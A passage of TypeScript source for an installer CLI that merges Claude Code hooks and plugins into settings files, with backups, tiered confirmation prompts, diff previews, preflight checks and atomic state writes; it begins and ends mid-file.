dirname, join, relative } from 'node:path'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(ctx.cwd, '.harnessed-backup', backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname, join } from 'node:path'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\nfunction statePath(cwd: string): string {\n return join(cwd, '.harnessed', 'state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// IMPL NOTE (Rule 1 / D-11 + D-12 + CC #54803): `--scope project` hardcoded\n// for the `plugin install` step — same broken-user-scope rationale as\n// mcpStdioAdd. Cannot be overridden by manifest fields; the manifest cmd\n// string is informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (Rule 1 / C6): verify uses `claude plugin list` exit code via\n// `grep -q <plugin>`; we do NOT parse stdout. CLI output format is not a\n// stable contract; exit code is. Mirrors mcpStdioAdd verify discipline.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0]\n\n // Step 2 args — `--scope project` hardcoded (D-12). Step-1 args optional.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'project']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // L3 fixed — diff target is `.claude/settings.json` `enabledPlugins` key.\n // We simulate the entry textually (no `--dry-run` flag exists on\n // `claude plugin install`); the cmd echo is the audit trail.\n const settingsFile = `${ctx.cwd}/.claude/settings.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .claude/settings.json enabledPlugins map by \\`claude plugin install\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(\n ['plugin', 'marketplace', 'add', parsed.marketplaceRef],\n install.cwd ?? ctx.cwd,\n )\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, install.cwd ?? ctx.cwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude plugin list | grep -q <pluginName>`. C6: exit code is\n // the contract, not stdout parsing.\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude plugin list --json | grep -q ${pluginName}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: 